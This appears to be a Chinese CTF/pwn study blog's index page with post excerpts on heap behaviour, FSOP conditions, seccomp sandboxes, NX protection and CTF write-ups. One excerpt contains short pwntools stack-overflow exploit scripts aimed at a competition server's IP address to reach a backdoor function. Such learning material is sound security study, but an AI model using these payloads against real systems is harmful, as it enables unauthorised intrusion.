pwn小知识2
在我们调试的时候总会遇到一些突然出现的heap,但是我们并不知道为什么出现,此时很大可能是因为一些函数调用的时候创建的堆块
我会记录下我遇到的所有函数虽然可能没什么用
printf()[0x1041]
fget()[0x1041]
接下来就是一些记录,没有什么规律
12fd = open("/dev/urandom", 0);read(fd, &buf, 8uLL); // 获得随机字节
123456789101112131415#include <stdio.h>#include <stdlib.h>#include <time.h>int main() { // 使用当前时间作为种子 srand(time(NULL)); // 生成随机数 int random_number = rand(); printf("Random number: %d\n", random_number); return 0 ...
2024-1-31 pwnable_bookwriter
pwnable_bookwriter执行fsop的条件:
fp->_mode<=0
fp->_IO_write_ptr>fp->_IO_write_base
或者(主要是前者)
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr>fp->_wide_data->_IO_write_bas
主要漏洞: 第一个是因为通过程序可以看出内存里只够存取8个chunk,但是在add函数中确实一个i>8的判断,而存储chunk地址的相邻位置就是存取size的地址,那么就会有一个大字节溢出覆盖
第二个是在edit函数中有一个溢出就是可以通过strlen来将size扩大,慢慢的可以有一个无穷堆溢出
第三个就是在Author更改的时候即infor函数中是通过%s来读取的这样就可以泄露一个堆的地址
静态分析12345678910111213141516171819202122232425 ...
2024-1-26沙盒的学习
沙盒什么是orw?所谓orw就是open read write 打开flag 写入flag 输出flag
什么是seccomp?seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:
12$ sudo apt install gcc ruby-dev$ gem install seccomp-tools
安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱
1234567891011121314q@ubuntu:~$ seccomp-tools dump ./not line CODE JT JF K========================= ...
2024rois-wp
pwntryc很简单的 运行getshell
easy_backdoor很简单的栈溢出
程序中明显栈溢出漏洞
直接溢出到ret
然后程序中有个后门
就直接getshell
有个踩雷点就是要得返回这个地址
不然堆栈会出错就嘎嘎报错,别问我怎么知道的/(ㄒoㄒ)/~~
12345from pwn import*sh=remote('114.116.233.171',10002)payload=0x20 * b'A'+p64(0) + p64(0x0004011F8) ##没开保护直接绝对地址sh.send(payload)sh.interactive()
backdoor2这道题也是栈溢出,但是很难看出来
调试就很好看出来
脑洞很大
依靠的是
溢出这个.com
然后有溢出思路,因为溢出空间是足够的,所以可以算出刚刚好溢出到ret上是win地址(也可以试出来)
12345from pwn import *sh=remote('114.116.233.171',10003)payload=0x38 ...
2024mapna
这算是赛后总结吧,学长说对新手很友好,我看不出来,只能说真的很”友好”。
这次虽然只做出一道题,但是总的来说收获还是非常多的
ninipwn这道题思路还是比较清晰的,主要还是脚本十分难写
首先check一下
发现是64位的然后保护全开,主要是注意PIE和Canary保护
IDA静态分析1234567int __cdecl main(int argc, const char **argv, const char **envp){ disable_io_buffering(); //初始化 puts("XOR encryption service"); encryption_service(); //加密 return 0;}
没什么东西,就一个初始化和加密函数
显然加密函数才是我们要注意的位置
12345678910111213141516171819202122232425262728unsigned __int64 encryption_service(){ char buf[264]; // [rsp+0h ...
Pwn基础入门小知识
PWN小知识由于pwn相关的一些专业术语新手入门时不易了解(我也是),因此在此写下零零碎碎(有错误请在评论区指出或补充),并且还有一些相关容易忘记的命令(多看多用)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
NX位(No-eXecute),也称为XD位(eXecute Disable),是现代CPU提供的一个硬件安全特性,用于标记内存页是否可以执行代码。启用NX位可以提高操作系统的安全性,因为它可以防止攻击者将数据区域(如栈或堆)中的代码作为执行指令。
当NX位启用时:
数据执行保护(DEP):操作系统可以利用NX位来实现数据执行保护(DEP),防止在非执行内存区域(如默认的栈和堆)执行代码。
防止缓冲区溢出攻击:这使得缓冲区溢出和某些类型的内存损坏攻击更加困难,因为即使攻击者能够将恶意代码注入到一个程序的内存空间,也不能执行注入的代码,因为内存页不允许执行。
与ASLR协同工作:NX位通常与地址空间布局 ...
My first blog
这是我的第一篇博客以后我的博客将会记录我在技术学习以及研究路上的记录和坎坷
也会记录我的学习成果,做题记录等等
希望我的路途能走的越远越好。